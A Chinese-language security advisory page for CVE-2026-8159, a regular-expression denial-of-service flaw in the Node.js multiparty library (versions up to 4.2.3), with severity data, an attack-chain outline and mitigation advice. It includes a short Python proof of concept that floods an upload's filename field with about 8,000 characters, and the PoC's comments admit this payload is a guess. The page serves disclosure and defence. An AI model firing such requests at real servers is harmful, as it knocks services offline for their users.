IPBUF安全漏洞报告
English
CVE-2026-8159 CVSS 7.5 高危

CVE-2026-8159 multiparty组件正则表达式拒绝服务漏洞

披露日期: 2026-05-12
来源: ce714d77-add3-4f53-aff5-83d477b104bb

漏洞信息

漏洞编号
CVE-2026-8159
漏洞类型
拒绝服务
CVSS评分
7.5 高危
攻击向量
网络 (AV:N)
认证要求
无需认证 (PR:N)
用户交互
无需交互 (UI:N)
影响产品
multiparty

相关标签

ReDoSNode.jsDenial of ServicemultipartyCVE-2026-8159Regular Expression

漏洞概述

multiparty 是一个 Node.js 中常用的用于解析 multipart/form-data 数据的库。在 4.2.3 及更低版本中,该组件存在严重的安全漏洞,被归类为正则表达式拒绝服务。攻击者可以通过发送特制的 multipart 上传请求,在 Content-Disposition 头部的 filename 参数中注入恶意构造的长字符串。这将触发解析器内部正则表达式的回溯机制,导致 CPU 资源被长时间占用,进而阻塞 Node.js 的事件循环。由于 Node.js 的单线程特性,这种阻塞会导致整个服务无法响应其他请求,从而实现拒绝服务攻击。该漏洞攻击门槛低,无需认证即可通过网络发起攻击,对服务可用性造成严重影响。

技术细节

该漏洞的根本原因在于 multiparty 库在处理 HTTP multipart 请求时,用于解析 Content-Disposition 头部中 filename 参数的正则表达式存在设计缺陷,容易受到回溯攻击的影响。正则表达式引擎在处理某些特定的字符串模式时,会尝试大量的匹配路径组合,这种计算复杂度会随着输入长度的增加呈指数级增长。

攻击者无需特殊的用户权限,只需向服务器发送一个包含恶意 filename 的 HTTP POST 请求即可。根据漏洞描述,攻击者仅需构造一个大约 8KB 大小的头部值即可触发漏洞。当服务器端使用受影响版本的 multiparty 解析此请求时,正则匹配过程会消耗极长的 CPU 时间(可能长达数秒)。

在 Node.js 的运行环境中,JavaScript 代码执行在单线程的事件循环上。如果正则匹配操作耗时过长,就会完全阻塞事件循环,导致服务器无法处理新的连接或请求,造成服务暂时或永久性的拒绝服务。虽然该漏洞主要影响可用性(CVSS A:H),对机密性(C:N)和完整性(I:N)没有直接影响,但在高并发场景下,其对业务连续性的破坏是巨大的。

攻击链分析

STEP 1
侦察
攻击者识别目标是否使用 Node.js 且依赖 multiparty 库处理文件上传。
STEP 2
武器化
攻击者构造一个特制的 HTTP POST 请求,包含 multipart/form-data 数据,其中 Content-Disposition 头的 filename 参数填充了约 8KB 的恶意字符串。
STEP 3
投递
攻击者通过互联网将恶意请求发送给目标服务器的文件上传接口。
STEP 4
利用
服务器端 multiparty 组件解析 filename 时,触发正则表达式回溯,导致 CPU 飙升。
STEP 5
影响
Node.js 事件循环被阻塞,服务器无法处理后续请求,导致拒绝服务。

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
import requests # Target URL that uses multiparty to handle uploads target_url = "http://127.0.0.1:3000/upload" # Construct a malicious filename designed to trigger ReDoS. # Based on the advisory, a long header value (approx 8KB) causes backtracking. # A sequence of repeated characters often triggers catastrophic backtracking in naive regex implementations. malicious_filename = ("A" * 8000) + ".txt" # Create the multipart form data files = { 'upload_field': (malicious_filename, 'dummy file content') } try: print(f"Sending payload with filename length: {len(malicious_filename)}") response = requests.post(target_url, files=files, timeout=10) print(f"Request completed with status: {response.status_code}") except requests.exceptions.Timeout: print("Request timed out - Server event loop likely blocked (ReDoS triggered).") except Exception as e: print(f"An error occurred: {e}")

影响范围

multiparty <= 4.2.3

防御指南

临时缓解措施
如果无法立即升级组件,建议在应用网关或代理服务器上配置严格的头部大小限制。虽然这不能完全消除漏洞(因为触发所需的 payload 较小),但可以增加攻击的构造难度,并拦截部分异常流量。同时,应监控服务器的 CPU 使用率,一旦发现异常峰值自动重启服务或阻断来源 IP。

参考链接